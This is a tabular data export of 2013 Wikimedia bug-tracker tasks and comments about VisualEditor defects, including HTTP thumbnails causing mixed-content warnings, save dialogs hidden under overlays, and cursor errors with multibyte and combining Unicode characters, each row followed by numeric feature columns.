action=view is fine (no console warnings). When I go to veaction=edit, the console fills with warnings. It looks like VisualEditor is loading thumbnails unconditionally through HTTP. This should be changed to be protocol-relative.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: https://en.wikipedia.org/wiki/Jeffrey_Chiesa?veaction=edit",High,80.0,1370571480,1371576350.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-hljkwvij7ri6zsnlv4ny,task_description,resolved,True,c1,2,False,False,True,-4,,0.0,0.0,0.0,0.5,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.5,11.0,0.0,0.5,0.5,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,32.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,24.0,1.0,0.0,5.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,11.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,4.473118279569892,0.43010752688172044,"URL

When I go here currently, I get HTTPS warnings.

---
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
The page at URL displayed insecure content from URL
 Jeffrey_Chiesa:1
---

action=view is fine (no console warnings). When I go to veaction=edit, the console fills with warnings. It looks like VisualEditor is loading thumbnails unconditionally through HTTP. This should be changed to be protocol-relative.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: URL"
244180,VisualEditor: Images loaded over HTTP unconditionally,"

*** This bug has been marked as a duplicate of bug 43015 ***",,,1371576350,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hljkwvij7ri6zsnlv4ny,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 43015 ***"
244174,VisualEditor: Images loaded over HTTP unconditionally,"This is odd - I thought this was fixed, but I can reproduce on enwiki but not on MW.org.

I think this may be fixed by the new image code the Inez has written (which is still 'experimental' and so not available in production except for MW.org). Will check with him and update you.",,,1370621859,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hljkwvij7ri6zsnlv4ny,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,3.0,3.0,6.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,5.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,6.0,5.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,13.0,2.0,6.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,11.0,6.0,0.0,3.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.619047619047619,0.7777777777777778,"This is odd - I thought this was fixed, but I can reproduce on enwiki but not on MW.org.

I think this may be fixed by the new image code the Inez has written (which is still 'experimental' and so not available in production except for MW.org). Will check with him and update you."
51275,"VisualEditor: Phantoms appear above the save dialog, preventing saving","**Author:** `swalling`

**Description:**
Screenshot

In attempting to test (as anon) on the MediaWiki.org sandbox, the page header template overlaps the diff and save functions, preventing me from saving my edit.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49361

**Attached**: {F11481}",High,80.0,1370553900,1371766465.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-io3sncftadpkbmrqampw,task_description,resolved,True,c1,2,False,False,True,-4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,1.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,3.4761904761904763,0.5833333333333334,"**Author:** CODE

**Description:**
Screenshot

In attempting to test (as anon) on the MediaWiki.org sandbox, the page header template overlaps the diff and save functions, preventing me from saving my edit.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F11481}"
243794,"VisualEditor: Phantoms appear above the save dialog, preventing saving",Merged and will go out later today.,,,1371766465,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-io3sncftadpkbmrqampw,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,Merged and will go out later today.
243790,"VisualEditor: Phantoms appear above the save dialog, preventing saving",Related URL: https://gerrit.wikimedia.org/r/69614 (Gerrit Change I2fbc4c8af943f1b096b8912191924961405d5c47),,,1371688627,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-io3sncftadpkbmrqampw,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I2fbc4c8af943f1b096b8912191924961405d5c47)
243787,"VisualEditor: Phantoms appear above the save dialog, preventing saving","Just a note that this also happens with editable elements like images, as their blue overlay extends on top of the VE menu bar.",,,1371652418,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-io3sncftadpkbmrqampw,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,23.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,23.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Just a note that this also happens with editable elements like images, as their blue overlay extends on top of the VE menu bar."
243782,"VisualEditor: Phantoms appear above the save dialog, preventing saving","Instead of an arms race between z-index, the much easier solution would be to ensure the DOM structure of these two elements are nested properly so that their natural order is correct. z-index can be used to adjust display, but it is not capable (by design) to transcend the relative DOM position.

I haven't tested the following so this exact example could be wrong, but generally it means that in the following sample:

 <div style=""position: relative;"" id=""foo""> </div> 
 <div style=""position: relative;"" id=""bar""> </div> 


Naturally #bar will be on top of #foo as it comes later in the DOM. Though #foo and #bar can be interchanged at the root (through their common parent), any child of #bar will always be on top of any child of #foo.

So not only is DOM ordering easier to manage (due to not having to worry about conflicting numbers), in some cases it is the only way.

I'll see what the easier way to fix this is, we can perfect it later if suboptimal.",,,1370850847,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-io3sncftadpkbmrqampw,task_subcomment,,True,c1,2,True,,,-3,,1.6666666666666667,0.0,0.0,1.0,1.6666666666666667,5.333333333333333,2.6666666666666665,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,1.0,0.0,1.3333333333333333,0.3333333333333333,5.333333333333333,11.666666666666666,0.0,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,1.6666666666666667,0.3333333333333333,3.3333333333333335,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.6666666666666666,0.6666666666666666,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,12.666666666666666,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,3.6666666666666665,4.333333333333333,3.6666666666666665,2.0,1.0,6.0,0.0,0.0,0.0,2.3333333333333335,5.333333333333333,0.0,0.3333333333333333,0.0,4.0,11.666666666666666,2.0,0.0,1.3333333333333333,0.0,4.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,1.3333333333333333,0.0,3.6666666666666665,3.5945945945945943,0.7117117117117117,"Instead of an arms race between z-index, the much easier solution would be to ensure the DOM structure of these two elements are nested properly so that their natural order is correct. z-index can be used to adjust display, but it is not capable (by design) to transcend the relative DOM position.

I haven't tested the following so this exact example could be wrong, but generally it means that in the following sample:

 <div style=""position: relative;"" id=""foo""> </div> 
 <div style=""position: relative;"" id=""bar""> </div> 


Naturally #bar will be on top of #foo as it comes later in the DOM. Though #foo and #bar can be interchanged at the root (through their common parent), any child of #bar will always be on top of any child of #foo.

So not only is DOM ordering easier to manage (due to not having to worry about conflicting numbers), in some cases it is the only way.

I'll see what the easier way to fix this is, we can perfect it later if suboptimal."
243777,"VisualEditor: Phantoms appear above the save dialog, preventing saving","And I had a similar issue attempting to save a page with an (uneditable) InfoBox on the right hand side. Luckily a simple workaround for the moment is to scroll down!

Obviously the proper solution is to ensure the zorder of the ""Review your changes"" and ""Save your changes""/""Report a problem"" is above the ""phantoms"".",,,1370776701,,PHID-USER-fgul5wwrgbtdpd5fved3,False,,,PHID-TASK-io3sncftadpkbmrqampw,task_subcomment,,True,c1,2,False,,,-4,,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,13.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,10.0,0.0,3.0,16.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,4.0,13.0,1.0,0.0,9.0,0.0,4.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,3.955223880597015,0.7164179104477612,"And I had a similar issue attempting to save a page with an (uneditable) InfoBox on the right hand side. Luckily a simple workaround for the moment is to scroll down!

Obviously the proper solution is to ensure the zorder of the ""Review your changes"" and ""Save your changes""/""Report a problem"" is above the ""phantoms""."
243770,"VisualEditor: Phantoms appear above the save dialog, preventing saving","Whoops, thanks for the spot, Steven!",,,1370554710,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-io3sncftadpkbmrqampw,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.8888888888888888,"Whoops, thanks for the spot, Steven!"
51260,"VisualEditor: Add a temporary option to have section edit links go to wikitext editor, not VisualEditor","Necessary for beta rollout. Wording needs to be smithed carefully to ensure that it's clear that this is a temporary option.

--------------------------
**Version**: unspecified
**Severity**: minor",High,80.0,1370536440,1371161777.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-a7khjsiws3kuhgw3dtj5,task_description,resolved,True,c1,2,True,False,True,-4,,0.0,0.0,0.0,2.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.7142857142857143,"Necessary for beta rollout. Wording needs to be smithed carefully to ensure that it's clear that this is a temporary option.

--------------------------
**Version**: unspecified
**Severity**: minor"
242743,"VisualEditor: Add a temporary option to have section edit links go to wikitext editor, not VisualEditor",Done and deployed.,,,1371161777,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-a7khjsiws3kuhgw3dtj5,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Done and deployed.
242735,"VisualEditor: Add a temporary option to have section edit links go to wikitext editor, not VisualEditor",Related URL: https://gerrit.wikimedia.org/r/68569 (Gerrit Change I5ce7ea8c1e47e8243b619fc61aa957f767d22b48),,,1371161078,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-a7khjsiws3kuhgw3dtj5,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I5ce7ea8c1e47e8243b619fc61aa957f767d22b48)
51246,VisualEditor: [Regression] Arrow keying around multibyte unicode characters fails after an inline node,"For example in the second line of the multibyte.html test file in the standalone demo (after '<tt>香港</tt>' [Hong Kong])

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1370520480,1370969172.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-vtupkd2hzxpp7w3fyltw,task_description,resolved,True,c1,2,True,False,True,-4,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.6808510638297873,0.7021276595744681,"For example in the second line of the multibyte.html test file in the standalone demo (after '<tt>香港</tt>' [Hong Kong])

--------------------------
**Version**: unspecified
**Severity**: normal"
242021,VisualEditor: [Regression] Arrow keying around multibyte unicode characters fails after an inline node,Above fixed is merged and will go out with wmf7 from Thursday.,,,1370969172,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vtupkd2hzxpp7w3fyltw,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,23.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,1.0,Above fixed is merged and will go out with wmf7 from Thursday.
242018,VisualEditor: [Regression] Arrow keying around multibyte unicode characters fails after an inline node,Related URL: https://gerrit.wikimedia.org/r/67971 (Gerrit Change Iff1dfb90130685bb710821f8386cfa2f296f2f95),,,1370954363,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vtupkd2hzxpp7w3fyltw,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Iff1dfb90130685bb710821f8386cfa2f296f2f95)
51233,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"Visual Editor doesn't behave correctly when editing and adding text with combining diacritics.

For example insert the text ""ɛ́"" (ɛ is character U+025B, combining acute is U+0301).
When the cursor is behind ""ɛ́"":
- pushing the left arrow doesn't move the cursor
- adding text like ""ɛ́abcdef"" is fine but:
  - pushing backspace gives ""ɛ́abcda"" instead of expected ""ɛ́abcde""
  - pushing return ives ""ɛ́abcde\na""

Some languages require combining diacritics, many keyboard layouts allow their input or user can insert them by copying and pasting from somewhere else.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51472",High,80.0,1370504280,1371844259.0,PHID-USER-i5at67w766dqxs6ncxam,False,,False,PHID-TASK-3tfgena4tsev5hzwqh7g,task_description,resolved,True,c1,2,False,False,True,-4,,1.5,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,5.5,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,5.0,1.5,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,1.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,1.0,2.5,2.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.5,4.0,2.5,0.0,7.0,0.0,1.5,0.0,1.0,0.0,0.5,6.5,0.0,0.0,0.0,3.952625570776256,0.6691400304414004,"Visual Editor doesn't behave correctly when editing and adding text with combining diacritics.

For example insert the text ""ɛ́"" (ɛ is character U+025B, combining acute is U+0301).
When the cursor is behind ""ɛ́"":
- pushing the left arrow doesn't move the cursor
- adding text like ""ɛ́abcdef"" is fine but:
  - pushing backspace gives ""ɛ́abcda"" instead of expected ""ɛ́abcde""
  - pushing return ives ""ɛ́abcde\na""

Some languages require combining diacritics, many keyboard layouts allow their input or user can insert them by copying and pasting from somewhere else.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
241544,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"(In reply to comment #10)
> I believe this is related (or a dupe?) of this:
> https://bugzilla.wikimedia.org/show_bug.cgi?id=51472

Related but not a dupe, I think; adding a see-also.",,,1374157250,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,18.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,2.75,0.8928571428571429,"(In reply to comment #10)
QUOTE
QUOTE

Related but not a dupe, I think; adding a see-also."
241539,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,I believe this is related (or a dupe?) of this: https://bugzilla.wikimedia.org/show_bug.cgi?id=51472,,,1374125073,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.7333333333333334,0.9333333333333333,I believe this is related (or a dupe?) of this: URL
241532,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"Great! It works as it should now.
Thanks a lot!",,,1374124846,,PHID-USER-i5at67w766dqxs6ncxam,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.7857142857142856,0.9285714285714286,"Great! It works as it should now.
Thanks a lot!"
241523,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,Now fixed and will be deployed very soon; sorry for this.,,,1371844259,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,1.0,Now fixed and will be deployed very soon; sorry for this.
